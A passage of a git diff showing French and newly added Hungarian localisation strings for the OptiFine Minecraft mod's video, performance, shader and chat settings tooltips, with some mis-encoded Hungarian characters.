ralentir la vitesse de chargement des tronçons. + +# Performance + +of.options.SMOOTH_FPS=FPS atténué +of.options.SMOOTH_FPS.tooltip.1=Stabilise les FPS en supprimant les tampons de trame. +of.options.SMOOTH_FPS.tooltip.2= Non - aucune stabilisation, les FPS peuvent varier +of.options.SMOOTH_FPS.tooltip.3= Oui - stabilisation des FPS +of.options.SMOOTH_FPS.tooltip.4=Cette option dépend du pilote graphique, les effets ne +of.options.SMOOTH_FPS.tooltip.5=sont pas toujours visibles. + +of.options.SMOOTH_WORLD=Monde atténué +of.options.SMOOTH_WORLD.tooltip.1=Élimine les pics de lag causés par le serveur interne. +of.options.SMOOTH_WORLD.tooltip.2= Non - aucune stabilisation, les FPS peuvent varier +of.options.SMOOTH_WORLD.tooltip.3= Oui - stabilisation des FPS +of.options.SMOOTH_WORLD.tooltip.4=Stabilise les FPS en distribuant les charges du serveur +of.options.SMOOTH_WORLD.tooltip.5=interne. Fonctionne uniquement en local (monde solo). + +of.options.FAST_RENDER=Rendu rapide +of.options.FAST_RENDER.tooltip.1=Rendu rapide +of.options.FAST_RENDER.tooltip.2= Non - rendu standard (par défaut) +of.options.FAST_RENDER.tooltip.3= Oui - rendu optimisé (rapide) +of.options.FAST_RENDER.tooltip.4=Utilise des algorithmes de rendu optimisé pour diminuer la +of.options.FAST_RENDER.tooltip.5=charge du processeur graphique, ce qui peut augmenter +of.options.FAST_RENDER.tooltip.6=les FPS. +of.options.FAST_RENDER.tooltip.7=Cette option peut entrer en conflit avec certains mods. + +of.options.FAST_MATH=Calculs rapides +of.options.FAST_MATH.tooltip.1=Calculs rapides +of.options.FAST_MATH.tooltip.2= Non - calculs standards (par défaut) +of.options.FAST_MATH.tooltip.3= Oui - calculs optimisés +of.options.FAST_MATH.tooltip.4=Utilise des fonctions optimisées de sin() et cos() qui +of.options.FAST_MATH.tooltip.5=peuvent mieux utiliser le cache du processeur et augmenter +of.options.FAST_MATH.tooltip.6=les FPS. +of.options.FAST_MATH.tooltip.7=Cette option peut avoir un léger impact sur la génération +of.options.FAST_MATH.tooltip.8=du monde. + +of.options.CHUNK_UPDATES=Mises à jour des tronçons +of.options.CHUNK_UPDATES.tooltip.1=Mises à jour des tronçons +of.options.CHUNK_UPDATES.tooltip.2= 1 - chargement lent du monde, meilleur FPS (par défaut) +of.options.CHUNK_UPDATES.tooltip.3= 3 - chargement rapide du monde, bas FPS +of.options.CHUNK_UPDATES.tooltip.4= 5 - chargement très rapide du monde, très bas FPS +of.options.CHUNK_UPDATES.tooltip.5=Nombre de mises à jour de tronçons par image rendue +of.options.CHUNK_UPDATES.tooltip.6=(tick), les valeurs élevées peuvent déstabiliser les FPS. + +of.options.CHUNK_UPDATES_DYNAMIC=Mises à jour dynamiques +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=Mises à jours dynamiques +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= Non - nombre de mises à jour stantard (par défaut) +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= Oui - plus de mises à jour lorsque le joueur est inactif +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4=Les mises à jour dynamiques forcent plus de tronçons à +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=se mettre à jour quand le joueur est inactif, pour +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.6=charger le monde plus vite. + +of.options.LAZY_CHUNK_LOADING=Charg. de tronçons lent +of.options.LAZY_CHUNK_LOADING.tooltip.1=Chargement lent des tronçons +of.options.LAZY_CHUNK_LOADING.tooltip.2= Non - chargement des tronçons serveurs par défaut +of.options.LAZY_CHUNK_LOADING.tooltip.3= Oui - chargement lent des tronçons serveur (plus doux) +of.options.LAZY_CHUNK_LOADING.tooltip.4=Adoucit le chargement des tronçons serveurs intégrés +of.options.LAZY_CHUNK_LOADING.tooltip.5=en distribuant les tronçons sur plusieurs ticks. +of.options.LAZY_CHUNK_LOADING.tooltip.6=Désactivez-le si des parties du monde ne se chargent +of.options.LAZY_CHUNK_LOADING.tooltip.7=pas correctement. Fonctionne uniquement en local (solo). + +of.options.RENDER_REGIONS=Rendu des régions +of.options.RENDER_REGIONS.tooltip.1=Rendu des régions +of.options.RENDER_REGIONS.tooltip.2= Non - rendu standard (par défaut) +of.options.RENDER_REGIONS.tooltip.3= Oui - rendu des régions +of.options.RENDER_REGIONS.tooltip.4=Permet un rendu du terrain plus rapide à des distances +of.options.RENDER_REGIONS.tooltip.5=d'affichage plus élevées. Plus efficace lorsque les VBOs +of.options.RENDER_REGIONS.tooltip.6=sont activés. Non recommandé pour les cartes graphiques +of.options.RENDER_REGIONS.tooltip.7=intégrées. + +of.options.SMART_ANIMATIONS=Animations intelligentes +of.options.SMART_ANIMATIONS.tooltip.1=Animations intelligentes +of.options.SMART_ANIMATIONS.tooltip.2= Non - animations standards (par défaut) +of.options.SMART_ANIMATIONS.tooltip.3= Oui - animations intelligentes +of.options.SMART_ANIMATIONS.tooltip.4=Permet au jeu d'animer uniquement les textures +of.options.SMART_ANIMATIONS.tooltip.5=actuellement visibles à l'écran. Cela réduit les pics +of.options.SMART_ANIMATIONS.tooltip.6=de lag et augmente les FPS. Surtout utile pour les gros +of.options.SMART_ANIMATIONS.tooltip.7=packs de mods et les packs de ressources HD. + +# Animations + +of.options.animation.allOn=Activer tout +of.options.animation.allOff=Désact. tout +of.options.animation.dynamic=Dynamique + +of.options.ANIMATED_WATER=Animation de l'eau +of.options.ANIMATED_LAVA=Animation de la lave +of.options.ANIMATED_FIRE=Animation du feu +of.options.ANIMATED_PORTAL=Animation des portails +of.options.ANIMATED_REDSTONE=Animation de la redstone +of.options.ANIMATED_EXPLOSION=Animation des explosions +of.options.ANIMATED_FLAME=Animation des flammes +of.options.ANIMATED_SMOKE=Animation de fumées +of.options.VOID_PARTICLES=Particules de vide +of.options.WATER_PARTICLES=Particules d'eau +of.options.RAIN_SPLASH=Particules de pluie +of.options.PORTAL_PARTICLES=Particules de portail +of.options.POTION_PARTICLES=Particules de potion +of.options.DRIPPING_WATER_LAVA=Gouttes d'eau/lave +of.options.ANIMATED_TERRAIN=Animation du terrain +of.options.ANIMATED_TEXTURES=Animation des textures +of.options.FIREWORK_PARTICLES=Partic. de feux d'artifice + +# Other + +of.options.LAGOMETER=Lagomètre +of.options.LAGOMETER.tooltip.1=Affiche le lagomètre sur l'écran de débogage (F3). +of.options.LAGOMETER.tooltip.2=* Orange - Récupérateur de mémoire +of.options.LAGOMETER.tooltip.3=* Cyan - Tick +of.options.LAGOMETER.tooltip.4=* Bleu - Exécutables programmés +of.options.LAGOMETER.tooltip.5=* Violet - Téléchargement de tronçons +of.options.LAGOMETER.tooltip.6=* Rouge - Mises à jour de tronçon +of.options.LAGOMETER.tooltip.7=* Jaune - Contrôle de visibilité +of.options.LAGOMETER.tooltip.8=* Vert - Terrain rendu + +of.options.PROFILER=Profileur de débogage +of.options.PROFILER.tooltip.1=Profileur de débogage +of.options.PROFILER.tooltip.2= Oui - profileur actif (lent) +of.options.PROFILER.tooltip.3= Non - profileur non actif (rapide) +of.options.PROFILER.tooltip.4=Le profileur de débogage collecte et affiche des +of.options.PROFILER.tooltip.5=informations de débogage lorsque l'écran de débogage +of.options.PROFILER.tooltip.6=(F3) est ouvert. + +of.options.WEATHER=Météo +of.options.WEATHER.tooltip.1=Météo +of.options.WEATHER.tooltip.2= Oui - Météo active (lent) +of.options.WEATHER.tooltip.3= Non - Météo non active (rapide) +of.options.WEATHER.tooltip.4=La météo contrôle la pluie, la neige et l'orage. +of.options.WEATHER.tooltip.5=Le contrôle de la météo n'est possible qu'en local. + +of.options.time.dayOnly=Jour seulement +of.options.time.nightOnly=Nuit seulement + +of.options.TIME=Temps +of.options.TIME.tooltip.1=Temps +of.options.TIME.tooltip.2= Par défaut - cycle jour/nuit normal +of.options.TIME.tooltip.3= Jour seulement - jour continu +of.options.TIME.tooltip.4= Nuit seulement - nuit continue +of.options.TIME.tooltip.5=La sélection du temps n'est possible qu'en MODE CRÉATIF +of.options.TIME.tooltip.6=dans un monde local. + +options.fullscreen.tooltip.1=Plein écran +options.fullscreen.tooltip.2= Oui - jeu en plein écran +options.fullscreen.tooltip.3= Non - jeu en mode fenêtré +options.fullscreen.tooltip.4=Le mode plein écran peut être plus rapide ou plus lent +options.fullscreen.tooltip.5=que le mode fenêtré selon la carte graphique. + +options.fullscreen.resolution=Mode plein écran +options.fullscreen.resolution.tooltip.1=Mode plein écran +options.fullscreen.resolution.tooltip.2= Par défaut - utilise la résolution du moniteur (lent) +options.fullscreen.resolution.tooltip.3= LxH - utilise une résolution personnalisée (parfois rapide) +options.fullscreen.resolution.tooltip.4=La résolution sélectionnée est utilisée en mode plein écran (F11). +options.fullscreen.resolution.tooltip.5=Une résolution plus basse devrait être plus rapide. + +of.options.SHOW_FPS=Afficher les FPS +of.options.SHOW_FPS.tooltip.1=Affiche les FPS et informations de rendu. +of.options.SHOW_FPS.tooltip.2= FPS - moyenne/minimum +of.options.SHOW_FPS.tooltip.3= C: - tronçons rendus +of.options.SHOW_FPS.tooltip.4= E: - entités et entités de blocs rendues +of.options.SHOW_FPS.tooltip.5= U: - mises à jour de tronçon +of.options.SHOW_FPS.tooltip.6=Les informations sont présentées dans le coin supérieur +of.options.SHOW_FPS.tooltip.7=gauche lorsque l'écran de débogage n'est pas visible. + +of.options.save.45s=45s +of.options.save.90s=90s +of.options.save.3min=3min +of.options.save.6min=6min +of.options.save.12min=12min +of.options.save.24min=24min + +of.options.AUTOSAVE_TICKS=Sauvegarde auto. +of.options.AUTOSAVE_TICKS.tooltip.1=Intervalle entre les sauvegardes automatiques +of.options.AUTOSAVE_TICKS.tooltip.2= 45s - par défaut +of.options.AUTOSAVE_TICKS.tooltip.3=Les sauvegardes automatiques peuvent causer des pics +of.options.AUTOSAVE_TICKS.tooltip.4=de lag en fonction de la distance d'affichage. Le monde est +of.options.AUTOSAVE_TICKS.tooltip.5=aussi sauvegardé lorsque le menu du jeu est ouvert. + +of.options.SCREENSHOT_SIZE=Captures d'écran +of.options.SCREENSHOT_SIZE.tooltip.1=Taille des captures d'écran +of.options.SCREENSHOT_SIZE.tooltip.2= Par défaut - taille de la fenêtre +of.options.SCREENSHOT_SIZE.tooltip.3= 2x-4x - taille personnalisée +of.options.SCREENSHOT_SIZE.tooltip.4=Prendre une capture d'écran plus grande peut +of.options.SCREENSHOT_SIZE.tooltip.5=nécessiter plus de mémoire. +of.options.SCREENSHOT_SIZE.tooltip.6=Incompatible avec le rendu rapide et l'anticrénelage. +of.options.SCREENSHOT_SIZE.tooltip.7=Requiert un processeur graphique avec un tampon de trame. + +of.options.SHOW_GL_ERRORS=Afficher les erreurs GL +of.options.SHOW_GL_ERRORS.tooltip.1=Afficher les erreurs OpenGL +of.options.SHOW_GL_ERRORS.tooltip.2=Les erreurs OpenGL sont affichées dans le tchat lorsque +of.options.SHOW_GL_ERRORS.tooltip.3=cette option est activée. Ne la désactiver que s'il y a un +of.options.SHOW_GL_ERRORS.tooltip.4=conflit inconnu et que les erreurs ne peuvent être +of.options.SHOW_GL_ERRORS.tooltip.5=corrigées. Les erreurs sont toujours journalisées lorsque +of.options.SHOW_GL_ERRORS.tooltip.6=cette option est désactivée et peuvent toujours causer +of.options.SHOW_GL_ERRORS.tooltip.7=une chute importante de FPS. + +# Chat Settings + +of.options.CHAT_BACKGROUND=Fond du tchat +of.options.CHAT_BACKGROUND.tooltip.1=Fond du tchat +of.options.CHAT_BACKGROUND.tooltip.2= Par défaut - largeur fixe +of.options.CHAT_BACKGROUND.tooltip.3= Compact - s'adapte à la largeur des lignes +of.options.CHAT_BACKGROUND.tooltip.4= Non - masqué + +of.options.CHAT_SHADOW=Ombre du tchat +of.options.CHAT_SHADOW.tooltip.1=Ombre du tchat +of.options.CHAT_SHADOW.tooltip.2= Oui - ombre du tchat (par défaut) +of.options.CHAT_SHADOW.tooltip.3= Non - pas d'ombre du tchat diff --git a/src/assets/minecraft/optifine/lang/hu_hu.lang b/src/assets/minecraft/optifine/lang/hu_hu.lang new file mode 100644 index 00000000..4ee48aa7 --- /dev/null +++ b/src/assets/minecraft/optifine/lang/hu_hu.lang @@ -0,0 +1,764 @@ +# Contributors +# kesu1 - 2019/11/04 + +# General +of.general.ambiguous=zavaros +of.general.compact=Kompakt +of.general.custom=Egyéni +of.general.from=tól +of.general.id=Id +of.general.max=Maximum +of.general.restart=újraindítás +of.general.smart=Okos + +# Keys +of.key.zoom=Zoom (közelítés) + +# Message +of.message.aa.shaders1=Az Élsimítás nem kompatibilis a Shaderekkel. +of.message.aa.shaders2=Kapcsold ki a Shadereket a beállítás bekapcsolásához. + +of.message.af.shaders1=Az Anizotróp Szűrés nem kompatibilis a Shaderekkel. +of.message.af.shaders2=Kapcsold ki a Shadereket a beállítás bekapcsolásához. + +of.message.fr.shaders1=A Gyors Leképzés nem kompatibilis a Shaderekkel. +of.message.fr.shaders2=Kapcsold ki a Shadereket a beállítás bekapcsolásához. + +of.message.an.shaders1=A Sztereoszkopikus 3D nem kompatibilis a Shaderekkel. +of.message.an.shaders2=Kapcsold ki a Shadereket a beállítás bekapcsolásához. + +of.message.shaders.aa1=A Shaderek nem kompatibilisek az Élsimítással. +of.message.shaders.aa2=Kapcsold a MinÅ‘ség -> Élsimítás-t ki és indísd újra a játékot. + +of.message.shaders.af1=A Shaderek nem kompatibilisek az Anizotróp Szűréssel. +of.message.shaders.af2=Kapcsold a MinÅ‘ség -> Anizotróp Szűrés-t KI. + +of.message.shaders.fr1=A Shaderek nem kompatibilisek a Gyors Leképzéssel. +of.message.shaders.fr2=Kapcsold a Teljesítmény -> Gyors Renderelés-t KI. + +of.message.shaders.an1=A Shaderek nem kompatibilisek a Sztereoszkopikus 3D-vel. +of.message.shaders.an2=Kapcsold az Egyéb -> Sztereoszkopikus 3D-t KI. + +of.message.shaders.nv1=Ennek a shadernek egy újabb OptiFine verzióra van szüksége: %s +of.message.shaders.nv2=Biztos benne, hogy folytatni akarja? + +of.message.newVersion=Egy új §eOptiFine§f verzió elérhetÅ‘: §e%s§f +of.message.java64Bit=Telepíthetsz §e64-bit Java§f t a teljesítmény növeléséhez. +of.message.openglError=§eOpenGL Hiba§f: %s (%s) + +of.message.shaders.loading=Shaderek betöltése: %s + +of.message.other.reset=Visszaállítod az összes Videóbeállítást az alapértelmezett értékére? + +of.message.loadingVisibleChunks=Látható területek betöltése + +# Skin customization + +of.options.skinCustomisation.ofCape=OptiFine Köpeny... + +of.options.capeOF.title=OptiFine Köpeny +of.options.capeOF.openEditor=KöpenyszerkesztÅ‘ megnyitása +of.options.capeOF.reloadCape=Köpeny újratöltése +of.options.capeOF.copyEditorLink=Link másolása a vágólapra + +of.message.capeOF.openEditor=Az OptiFine köpenyszerkesztÅ‘ megnyilik a böngészÅ‘ben. +of.message.capeOF.openEditorError=Hiba a szerkesztÅ‘ hivatkozásának a böngészÅ‘ben való megnyitása közben. +of.message.capeOF.reloadCape=A köpeny újra lesz töltve 15 másodperc múlva. + +of.message.capeOF.error1=A Mojang hitelesités nem sikerült. +of.message.capeOF.error2=Hiba: %s + +# Video settings + +options.graphics.tooltip.1=Vizuális minÅ‘ség +options.graphics.tooltip.2= Gyors - alacsonyabb minÅ‘ség, gyorsabb +options.graphics.tooltip.3= Szép - magasabb minÅ‘ség, lassabb +options.graphics.tooltip.4=Megváltoztatja a kinézetét a felhÅ‘knek, leveleknek, +options.graphics.tooltip.5=víznek és a fű oldalának. + +of.options.renderDistance.tiny=Apró +of.options.renderDistance.short=Rövid +of.options.renderDistance.normal=Normál +of.options.renderDistance.far=Messzi +of.options.renderDistance.extreme=Extrém +of.options.renderDistance.insane=Årületes +of.options.renderDistance.ludicrous=Nevetséges + +options.renderDistance.tooltip.1=Látótávolság +options.renderDistance.tooltip.2= 2 Apró - 32m (leggyorsabb) +options.renderDistance.tooltip.3= 8 Normál - 128m (normál) +options.renderDistance.tooltip.4= 16 Messzi - 256m (lassabb) +options.renderDistance.tooltip.5= 32 Extrém - 512m (leglassabb!) nagyon erÅ‘forrásigényes +options.renderDistance.tooltip.6= 48 Årületes - 768m, szükséges 3GB RAM kiosztása +options.renderDistance.tooltip.7= 64 Nevetséges - 1024m, szükséges 3GB RAM kiosztása +options.renderDistance.tooltip.8=Értékek a 16 "Messzi" fölött csak lokális világokban hatásosak. + +options.ao.tooltip.1=Simított megvilágítás +options.ao.tooltip.2= KI - nincs megvilágítás (gyorsabb) +options.ao.tooltip.3= Minimum - egyszerű simított megvilágítás (lassabb) +options.ao.tooltip.4= Maximum - összetett simított megvilágítás (leglassabb) + +options.framerateLimit.tooltip.1=Max képkockák +options.framerateLimit.tooltip.2= VSync - monitor képfrissítéséhez szabott (60, 30, 20) +options.framerateLimit.tooltip.3= 5-255 - változtatható +options.framerateLimit.tooltip.4= Korlátlan - nincs korlát (leggyorsabb) +options.framerateLimit.tooltip.5=A képkockakorlát lekorlátozza az FPS-t akkor is, +options.framerateLimit.tooltip.6= ha a korlátérték nincs is elérve. +of.options.framerateLimit.vsync=VSync + +of.options.AO_LEVEL=Simított Megvilágítás Szintje +of.options.AO_LEVEL.tooltip.1=Simított megvilágítás szintje +of.options.AO_LEVEL.tooltip.2= KI - nincsenek árnyékok +of.options.AO_LEVEL.tooltip.3= 50%% - világos árnyékok +of.options.AO_LEVEL.tooltip.4= 100%% - sötét árnyékok + +options.viewBobbing.tooltip.1=Élethűbb mozgás. +options.viewBobbing.tooltip.2=A mipmapok használatával kapcsold ki a legjobb eredményekért. + +options.guiScale.tooltip.1=GUI Mérete +options.guiScale.tooltip.2= Auto - maximális méret +options.guiScale.tooltip.3= Kicsi, Normál, Nagy - 1x-tÅ‘l 3x-ig +options.guiScale.tooltip.4= 4x-tÅ‘l 10x-ig - csak 4K kijelzÅ‘kön elérhetÅ‘ +options.guiScale.tooltip.5=Furcsa értékek (1x, 3x, 5x ...) nem kompatibilisek az Unicode-al. +options.guiScale.tooltip.6=Egy kisebb GUI gyorsabb lehet. + +options.vbo=VBOk használata +options.vbo.tooltip.1=Vertex Buffer Objects +options.vbo.tooltip.2=Egy alternatív leképzési módszert használ, ami általában +options.vbo.tooltip.3=gyorsabb (5-10%%) az alapértelmezettÅ‘l. + +options.gamma.tooltip.1=Megváltoztatja a megvilágítását a sötétebb tárgyaknak. +options.gamma.tooltip.2= Borongós - alapértelmezett fényerÅ‘ +options.gamma.tooltip.3= 1-99%% - változtatható +options.gamma.tooltip.4= Bright - maximális megvilágítása a sötétebb tárgyaknak +options.gamma.tooltip.5=Ez a beállítás nem változtatja meg a fényerejét +options.gamma.tooltip.6=a teljesen fekete tárgyaknak. + +options.anaglyph.tooltip.1=Sztereoszkopikus 3D +options.anaglyph.tooltip.2=Bekapcsolja a Sztereoszkopikus 3D effektet szemenként +options.anaglyph.tooltip.3=külön színek használatával. +options.anaglyph.tooltip.4=Vörös-cián szemüveg szükséges az élményhez. + +options.attackIndicator.tooltip.1=Beállítja a támadásjelzÅ‘ pozícióját +options.attackIndicator.tooltip.2= Célkereszt - under the crosshair +options.attackIndicator.tooltip.3= Hotbar - a hotbar mellett +options.attackIndicator.tooltip.4= KI - nincs támadásjelzÅ‘ +options.attackIndicator.tooltip.5=A támadásjelzÅ‘ a támadás erejét mutatja +options.attackIndicator.tooltip.6=a jelenleg alkalmazott tárgynak. + +of.options.ALTERNATE_BLOCKS=Alternatív Blokkok +of.options.ALTERNATE_BLOCKS.tooltip.1=Alternatív Blokkok +of.options.ALTERNATE_BLOCKS.tooltip.2=Alternatív blokk modelleket használ bizonyos blokkoknál. +of.options.ALTERNATE_BLOCKS.tooltip.3=A kiválasztott forráscsomagoktól függ. + +of.options.FOG_FANCY=Köd +of.options.FOG_FANCY.tooltip.1=Köd típusa +of.options.FOG_FANCY.tooltip.2= Gyors - gyorsabb köd +of.options.FOG_FANCY.tooltip.3= Szép - lassabb köd, jobban néz ki +of.options.FOG_FANCY.tooltip.4= KI - nincs köd, leggyorsabb +of.options.FOG_FANCY.tooltip.5=A szép köd csak akkor elérhetÅ‘, ha támogatott +of.options.FOG_FANCY.tooltip.6=a videókártya által. + +of.options.FOG_START=Köd kezdete +of.options.FOG_START.tooltip.1=Köd kezdete +of.options.FOG_START.tooltip.2= 0.2 - a köd a játékostól közel képzÅ‘dik +of.options.FOG_START.tooltip.3= 0.8 - a köd a játékostól távol képzÅ‘dik +of.options.FOG_START.tooltip.4=Ez a beállítás általában nem befolyásolja a teljesítményt. + +of.options.CHUNK_LOADING=Területek Betöltése +of.options.CHUNK_LOADING.tooltip.1=Területek Betöltése +of.options.CHUNK_LOADING.tooltip.2= Alapértelmezett - instabil FPS területek betöltése közben +of.options.CHUNK_LOADING.tooltip.3= Sima - stabil FPS +of.options.CHUNK_LOADING.tooltip.4= Többmagos - stabil FPS, 3x gyorsabb világbetöltés +of.options.CHUNK_LOADING.tooltip.5=A Sima és Többmagos eltávolítja az akadozásokat és +of.options.CHUNK_LOADING.tooltip.6=lefagyásokat, amit a területek betöltése okoz. +of.options.CHUNK_LOADING.tooltip.7=A Többmagos fel tudja háromszorosára gyorsítani a világgenerálást és +of.options.CHUNK_LOADING.tooltip.8=megnöveli az FPS-t a második mag használatával. +of.options.chunkLoading.smooth=Sima +of.options.chunkLoading.multiCore=Többmagos + +of.options.shaders=Shaderek... +of.options.shadersTitle=Shaderek + +of.options.shaders.packNone=KI +of.options.shaders.packDefault=(belsÅ‘) + +of.options.shaders.ANTIALIASING=Élsimítás +of.options.shaders.ANTIALIASING.tooltip.1=Élsimítás +of.options.shaders.ANTIALIASING.tooltip.2= KI - (alapértelmezett) nincs élsimítás (gyorsabb) +of.options.shaders.ANTIALIASING.tooltip.3= FXAA 2x, 4x - élsimított vonalak és élek (lassabb) +of.options.shaders.ANTIALIASING.tooltip.4=Az FXAA egy utófeldolgozásos effekt ami kisimítja +of.options.shaders.ANTIALIASING.tooltip.5=a cikcakkos vonalakat és éles színátmeneteket. +of.options.shaders.ANTIALIASING.tooltip.6=Gyorsabb, mint a tradícionális élsimítás +of.options.shaders.ANTIALIASING.tooltip.7=és kompatibilis a shaderekkel és Gyors Leképzéssel. + +of.options.shaders.NORMAL_MAP=Normal Map +of.options.shaders.NORMAL_MAP.tooltip.1=Normal Map +of.options.shaders.NORMAL_MAP.tooltip.2= BE - (alapértelmezett) bekapcsolja a normal mapokat +of.options.shaders.NORMAL_MAP.tooltip.3= KI - kikapcsolja a normal mapokat +of.options.shaders.NORMAL_MAP.tooltip.4=A normal mapokat a shaderek használják, +of.options.shaders.NORMAL_MAP.tooltip.5=hogy 3D-s geometriát szimuláljon sima model felületeken. +of.options.shaders.NORMAL_MAP.tooltip.6=A normal map textúrákat a jelenlegi +of.options.shaders.NORMAL_MAP.tooltip.7=forráscsomag biztosítja. + +of.options.shaders.SPECULAR_MAP=Specular Map +of.options.shaders.SPECULAR_MAP.tooltip.1=Specular Map +of.options.shaders.SPECULAR_MAP.tooltip.2= BE - (alapértelmezett) bekapcsolja a specular mapokat +of.options.shaders.SPECULAR_MAP.tooltip.3= KI - kikapcsolja a specular mapokat +of.options.shaders.SPECULAR_MAP.tooltip.4=A specular mapokat a shaderek használják, +of.options.shaders.SPECULAR_MAP.tooltip.5=hogy a tükrözÅ‘dési effekteket szimulálják. +of.options.shaders.SPECULAR_MAP.tooltip.6=A specular map textúrákat a jelenlegi +of.options.shaders.SPECULAR_MAP.tooltip.7=forráscsomag biztosítja. + +of.options.shaders.RENDER_RES_MUL=Render MinÅ‘ség +of.options.shaders.RENDER_RES_MUL.tooltip.1=Leképzés minÅ‘sége +of.options.shaders.RENDER_RES_MUL.tooltip.2= 0.5x - alacsony (fastest) +of.options.shaders.RENDER_RES_MUL.tooltip.3= 1x - normál (alapértelmezettt) +of.options.shaders.RENDER_RES_MUL.tooltip.4= 2x - magas (leglassabb) +of.options.shaders.RENDER_RES_MUL.tooltip.5=A Render minÅ‘ség szabályozza a textúra méretét, +of.options.shaders.RENDER_RES_MUL.tooltip.6=amibe a shadercsomag renderel. +of.options.shaders.RENDER_RES_MUL.tooltip.7=Alacsonyabb értékek hasznosak lehetnek 4K kijelzÅ‘vel. +of.options.shaders.RENDER_RES_MUL.tooltip.8=Magasabb értékek élsimításként működnek. (supersampling) + +of.options.shaders.SHADOW_RES_MUL=ÃrnyékminÅ‘ség +of.options.shaders.SHADOW_RES_MUL.tooltip.1=Ãrnyékok minÅ‘sége +of.options.shaders.SHADOW_RES_MUL.tooltip.2= 0.5x - alacsony (leggyorsabb) +of.options.shaders.SHADOW_RES_MUL.tooltip.3= 1x - normál (alapértelmezett) +of.options.shaders.SHADOW_RES_MUL.tooltip.4= 2x - magas (leglassabb) +of.options.shaders.SHADOW_RES_MUL.tooltip.5=Az árnyékminÅ‘ség szabályozza a shadow map textúra méretét, +of.options.shaders.SHADOW_RES_MUL.tooltip.6=amit a shadercsomagok használnak. +of.options.shaders.SHADOW_RES_MUL.tooltip.7=Alacsonyabb értékek = pontatlan, durvább árnyékok. +of.options.shaders.SHADOW_RES_MUL.tooltip.8=Magasabb értékek = részletes, finomabb árnyékok. + +of.options.shaders.HAND_DEPTH_MUL=Kézmélység +of.options.shaders.HAND_DEPTH_MUL.tooltip.1=A kéz mélysége +of.options.shaders.HAND_DEPTH_MUL.tooltip.2= 0.5x - a kéz közel van a kamerához +of.options.shaders.HAND_DEPTH_MUL.tooltip.3= 1x - (alapértelmezett) +of.options.shaders.HAND_DEPTH_MUL.tooltip.4= 2x - a kéz messze van a kamerától +of.options.shaders.HAND_DEPTH_MUL.tooltip.5=A kézmélység szabályozza, hogy a kézben fogott tárgyak milyen messze vannak +of.options.shaders.HAND_DEPTH_MUL.tooltip.6=a kamerától. +of.options.shaders.HAND_DEPTH_MUL.tooltip.7=Shadercsomagok, amik mélységi homályosítást használnak, megváltoztatja a +of.options.shaders.HAND_DEPTH_MUL.tooltip.8=homyályosítását a kézben fogott tárgyaknak. + +of.options.shaders.CLOUD_SHADOW=FelhÅ‘ Ãrnyékok + +of.options.shaders.OLD_HAND_LIGHT=Régi Kézmegvilágítás +of.options.shaders.OLD_HAND_LIGHT.tooltip.1=Régi Kézmegvilágítás +of.options.shaders.OLD_HAND_LIGHT.tooltip.2= Alapértelmezett - a shadercsomag szabályozza +of.options.shaders.OLD_HAND_LIGHT.tooltip.3= BE - régi kézmegvilágítás használata +of.options.shaders.OLD_HAND_LIGHT.tooltip.4= KI - új kézmegvilágítás használata +of.options.shaders.OLD_HAND_LIGHT.tooltip.5=A régi kézmegvilágítás lehetÅ‘vé tgeszi a shadercsomagoknak, amik csak +of.options.shaders.OLD_HAND_LIGHT.tooltip.6=a fÅ‘kézben lévÅ‘ fénykibocsájtó tárgyakat ismeri fel, +of.options.shaders.OLD_HAND_LIGHT.tooltip.7=hogy működjenek a másik kézben is. + +of.options.shaders.OLD_LIGHTING=Régi Megvilágítás +of.options.shaders.OLD_LIGHTING.tooltip.1=Régi Megvilágítás +of.options.shaders.OLD_LIGHTING.tooltip.2= Alapértelmezett - a shadercsomag szabályozza +of.options.shaders.OLD_LIGHTING.tooltip.3= BE - régi megvilágítás használata +of.options.shaders.OLD_LIGHTING.tooltip.4= KI - régi megvilágítás mellÅ‘zése +of.options.shaders.OLD_LIGHTING.tooltip.5=A régi megvilágítás szabályozza a fix megvilágítást, amit +of.options.shaders.OLD_LIGHTING.tooltip.6=az alapjáték alkalmaz a blokkok oldalain. +of.options.shaders.OLD_LIGHTING.tooltip.7=A shadercsomagok amik használnak általában +of.options.shaders.OLD_LIGHTING.tooltip.8=sokkal jobb fényeket alkalmaznak a nap állásától függÅ‘en. + +of.options.shaders.DOWNLOAD=Shaderek Letöltése +of.options.shaders.DOWNLOAD.tooltip.1=Shaderek Letöltése +of.options.shaders.DOWNLOAD.tooltip.2= +of.options.shaders.DOWNLOAD.tooltip.3=Megnyitja a shadercsomagok oldalát a böngészÅ‘ben. +of.options.shaders.DOWNLOAD.tooltip.4=Rakd a letöltött shadercsomagokat a "Shaderek Mappába" +of.options.shaders.DOWNLOAD.tooltip.5=és megjelennek a listán, mint telepített shaderek. + +of.options.shaders.SHADER_PACK=Shadercsomag + +of.options.shaders.shadersFolder=Shader MAppa +of.options.shaders.shaderOptions=Shader Beállítások... + +of.options.shaderOptionsTitle=Shader Beállítások + +of.options.quality=MinÅ‘ség... +of.options.qualityTitle=MinÅ‘ségi Beállítások + +of.options.details=Részletek... +of.options.detailsTitle=Részletbeli beállítások + +of.options.performance=Teljesítmény... +of.options.performanceTitle=Teljesítménybeli beállítások + +of.options.animations=Animációk... +of.options.animationsTitle=Animációs Beállítások + +of.options.other=Egyéb... +of.options.otherTitle=Egyéb Beállítások + +of.options.other.reset=Videóbeállítások vissza alapértelmezettbe... + +of.shaders.profile=Profil + +# Quality + +of.options.mipmap.bilinear=Bilineáris +of.options.mipmap.linear=Lineáris +of.options.mipmap.nearest=Legközelebbi +of.options.mipmap.trilinear=Trilineáris + +options.mipmapLevels.tooltip.1=Vizuális effekt, ami a távolabbi objektumokat szebbé teszi +options.mipmapLevels.tooltip.2=a textúrák részletességének simításával. +options.mipmapLevels.tooltip.3= KI - nincs simítás +options.mipmapLevels.tooltip.4= 1 - minimális simítás +options.mipmapLevels.tooltip.5= Maximum - maximális simítás +options.mipmapLevels.tooltip.6=Ez a beállítás általában nem befolyásolja a teljesítményt. + +of.options.MIPMAP_TYPE=Mipmap Típus +of.options.MIPMAP_TYPE.tooltip.1=Vizuális effekt, ami a távolabbi objektumokat szebbé teszi +of.options.MIPMAP_TYPE.tooltip.2=a textúrák részletességének simításával. +of.options.MIPMAP_TYPE.tooltip.3= Legközelebbi - durva simítás (leggyorsabb) 